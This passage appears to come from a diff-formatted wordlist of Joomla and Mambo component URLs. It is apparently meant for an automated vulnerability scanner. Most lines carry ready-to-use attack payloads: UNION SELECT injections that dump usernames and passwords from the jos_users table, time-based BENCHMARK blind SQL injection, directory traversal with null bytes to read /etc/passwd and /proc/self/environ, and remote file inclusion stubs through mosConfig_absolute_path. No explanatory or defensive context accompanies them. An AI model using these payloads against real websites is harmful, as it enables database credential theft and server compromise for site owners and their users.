+ index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
1733
+ index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
1734
+ index.php?option=com_dioneformwizard&controller=[LFI]%00
1735
+ index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
1736
+ index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
1737
+ index.php?option=com_easyfaq&Itemid=1&task=view&gid=
1738
+ index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
1739
+ index.php?option=com_easyfaq&task=view&contact_id=
1740
+ index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
1741
+ index.php?option=com_equipment&task=components&id=45&sec_men_id=
1742
+ index.php?option=com_equipment&view=details&id=
1743
+ index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
1744
+ index.php?option=com_etree&view=displays&layout=category&id=[SQL]
1745
+ index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
1746
+ index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
1747
+ index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
1748
+ index.php?option=com_filecabinet&task=download&cid[]=7
1749
+ index.php?option=com_firmy&task=section_show_set&Id=-1
1750
+ index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
1751
+ index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
1752
+ index.php?option=com_graphics&controller=
1753
+ index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
1754
+ index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
1755
+ index.php?option=com_huruhelpdesk&view=detail
1756
+ index.php?option=com_huruhelpdesk&view=detail&cid[0]=
1757
+ index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
1758
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
1759
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
1760
+ index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
1761
+ index.php?option=com_iproperty&view=agentproperties&id=
1762
+ index.php?option=com_jacomment&view=
1763
+ index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
1764
+ index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
1765
+ index.php?option=com_jcommunity&controller=members&task=1'
1766
+ index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
1767
+ index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
1768
+ index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
1769
+ index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
1770
+ index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
1771
+ index.php?option=com_jfuploader&Itemid=
1772
+ index.php?option=com_jgen&task=view&id=
1773
+ index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
1774
+ index.php?option=com_jimtawl&Itemid=12&task=
1775
+ index.php?option=com_jmarket&controller=product&task=1'
1776
+ index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
1777
+ index.php?option=com_jomdirectory&task=search&type=111+
1778
+ index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
1779
+ index.php?option=com_joomla_flash_uploader&Itemid=1
1780
+ index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
1781
+ index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
1782
+ index.php?option=com_joomtouch&controller=
1783
+ index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
1784
+ index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
1785
+ index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
1786
+ index.php?option=com_jstore&controller=product-display&task=1'
1787
+ index.php?option=com_jsubscription&controller=subscription&task=1'
1788
+ index.php?option=com_jtickets&controller=ticket&task=1'
1789
+ index.php?option=com_konsultasi&act=detail&sid=
1790
+ index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
1791
+ index.php?option=com_kunena&func=userlist&search=
1792
+ index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
1793
+ index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
1794
+ index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
1795
+ index.php?option=com_matamko&controller=
1796
+ index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
1797
+ index.php?option=com_neorecruit&task=offer_view&id=
1798
+ index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
1799
+ index.php?option=com_noticeboard&controller=
1800
+ index.php?option=com_obsuggest&controller=
1801
+ index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
1802
+ index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
1803
+ index.php?option=com_oziogallery&Itemid=
1804
+ index.php?option=com_page&id=53
1805
+ index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
1806
+ index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
1807
+ index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
1808
+ index.php?option=com_phocagallery&view=categories&Itemid=
1809
+ index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1810
+ index.php?option=com_php&file=../../../../../../../../../../etc/passwd
1811
+ index.php?option=com_php&file=../images/phplogo.jpg
1812
+ index.php?option=com_php&file=../js/ie_pngfix.js
1813
+ index.php?option=com_ponygallery&Itemid=[sqli]
1814
+ index.php?option=com_products&catid=-1
1815
+ index.php?option=com_products&id=-1
1816
+ index.php?option=com_products&product_id=-1
1817
+ index.php?option=com_products&task=category&catid=-1
1818
+ index.php?option=com_properties&task=agentlisting&aid=
1819
+ index.php?option=com_qcontacts&Itemid=1'
1820
+ index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
1821
+ index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
1822
+ index.php?option=com_restaurantguide&view=country&id='&Itemid=69
1823
+ index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
1824
+ index.php?option=com_seyret&view=
1825
+ index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
1826
+ index.php?option=com_smartsite&controller=
1827
+ index.php?option=com_spa&view=spa_product&cid=
1828
+ index.php?option=com_spidercalendar
1829
+ index.php?option=com_spidercalendar&date=1'
1830
+ index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1831
+ index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1832
+ index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
1833
+ index.php?option=com_staticxt&staticfile=test.php&id=1923
1834
+ index.php?option=com_szallasok&mode=8&id=25 (SQL)
1835
+ index.php?option=com_tag&task=tag&tag=
1836
+ index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
1837
+ index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
1838
+ index.php?option=com_ultimateportfolio&controller=
1839
+ index.php?option=com_users&view=registration
1840
+ index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
1841
+ index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
1842
+ index.php?option=com_x-shop&action=artdetail&idd='
1843
+ index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
1844
+ index.php?option=com_xcomp&controller=../../[LFI]%00
1845
+ index.php?option=com_xvs&controller=../../[LFI]%00
1846
+ index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
1847
+ index.php?option=com_yjcontactus&view=
1848
+ index.php?option=com_youtube&id_cate=4
1849
+ index.php?option=com_zina&view=zina&Itemid=9
1850
+ index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
1851
+ index.php?search=NoGe&option=com_esearch&searchId=
1852
+ index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
1853
+ index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
1854
+ js/index.php?option=com_socialads&view=showad&Itemid=94
1855
+ libraries/joomla/utilities/compat/php50x.php
1856
+ libraries/pcl/pcltar.php
1857
+ libraries/phpmailer/phpmailer.php
1858
+ libraries/phpxmlrpc/xmlrpcs.php
1859
+ modules/mod_artuploader/upload.php");
1860
+ modules/mod_as_category.php
1861
+ modules/mod_calendar.php
1862
+ modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
1863
+ modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
1864
+ modules/mod_jfancy/script.php");
1865
+ modules/mod_ppc_simple_spotlight/elements/upload_file.php
1866
+ modules/mod_ppc_simple_spotlight/img/
1867
+ modules/mod_pxt/
1868
+ modules/mod_quick_question.php
1869
+ modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
1870
+ patch/makedown.php?arquivo=../../../../etc/passwd
1871
+ plugins/content/efup_files/helper.php");
1872
+ plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
1873
+ plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
1874
+ plugins/editors/xstandard/attachmentlibrary.php
1875
+ print.php?task=person&id=36 and 1=1
1876
+ templates/be2004-2/
1877
+ templates/ja_purity/
1878
+ wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
1879
+ web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
1880
+ /administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=shell
1881
+ /components/com_simpleboard/file_upload.php?sbp=shell
1882
+ /components/com_hashcash/server.php?mosConfig_absolute_path=shell
1883
+ /components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=shell
1884
+ /components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=shell
1885
+ /components/com_performs/performs.php?mosConfig_absolute_path=shell
1886
+ /components/com_forum/download.php?phpbb_root_path=
1887
+ /components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=shell
1888
+ /components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=shell
1889
+ /components/minibb/index.php?absolute_path=shell
1890
+ /components/com_smf/smf.php?mosConfig_absolute_path=
1891
+ /modules/mod_calendar.php?absolute_path=shell
1892
+ /components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell
1893
+ /components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell
1894
+ /components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shel l
1895
+ /components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell
1896
+ /administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=sh ell
1897
+ /administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shell
1898
+ /administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell
1899
+ /administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell
1900
+ /components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell
1901
+ /components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell
1902
+ /components/com_securityimages/lang.php?mosConfig_absolute_path=shell
1903
+ /components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell
1904
+ /components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell
1905
+ /akocomments.php?mosConfig_absolute_path=shell
1906
+ /administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell
1907
+ /administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell
1908
+ /administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell
1909
+ /components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell
1910
+ /components/com_zoom/includes/database.php?mosConfig_absolute_path=shell
1911
+ /administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=she ll
1912
+ /components/com_fm/fm.install.php?lm_absolute_path=shell
1913
+ /administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell
1914
+ /components/com_lmo/lmo.php?mosConfig_absolute_path=shell
1915
+ /administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell
1916
+ /components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=shell
1917
+ /administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell
1918
+ /administrator/components/com_webring/admin.webring.docs.php?component_dir=shell
1919
+ /administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
1920
+ /administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell
1921
+ /administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell
1922
+ /components/com_mambowiki/ MamboLogin.php?IP=shell
1923
+ /administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell
1924
+ /administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=s hell
1925
+ /components/com_cpg/cpg.php?mosConfig_absolute_path=shell
1926
+ /components/com_moodle/moodle.php?mosConfig_absolute_path=shell
1927
+ /components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=shell
1928
+ /components/com_mospray/scripts/admin.php?basedir=shell
1929
+ /administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=shell
1930
+ /administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=shell
1931
+ /administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=shell
1932
+ /administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=shell
1933
+ /components/com_reporter/processor/reporter.sql.php?mosConfig_absolute_path=shell
1934
+ /components/com_madeira/img.php?url=shell
1935
+ /components/com_jd-wiki/lib/tpl/default/main.php?mosConfig_absolute_path=shell
1936
+ /components/com_bsq_sitestats/external/rssfeed.php?baseDir=shell
1937
+ /com_bsq_sitestats/external/rssfeed.php?baseDir=shell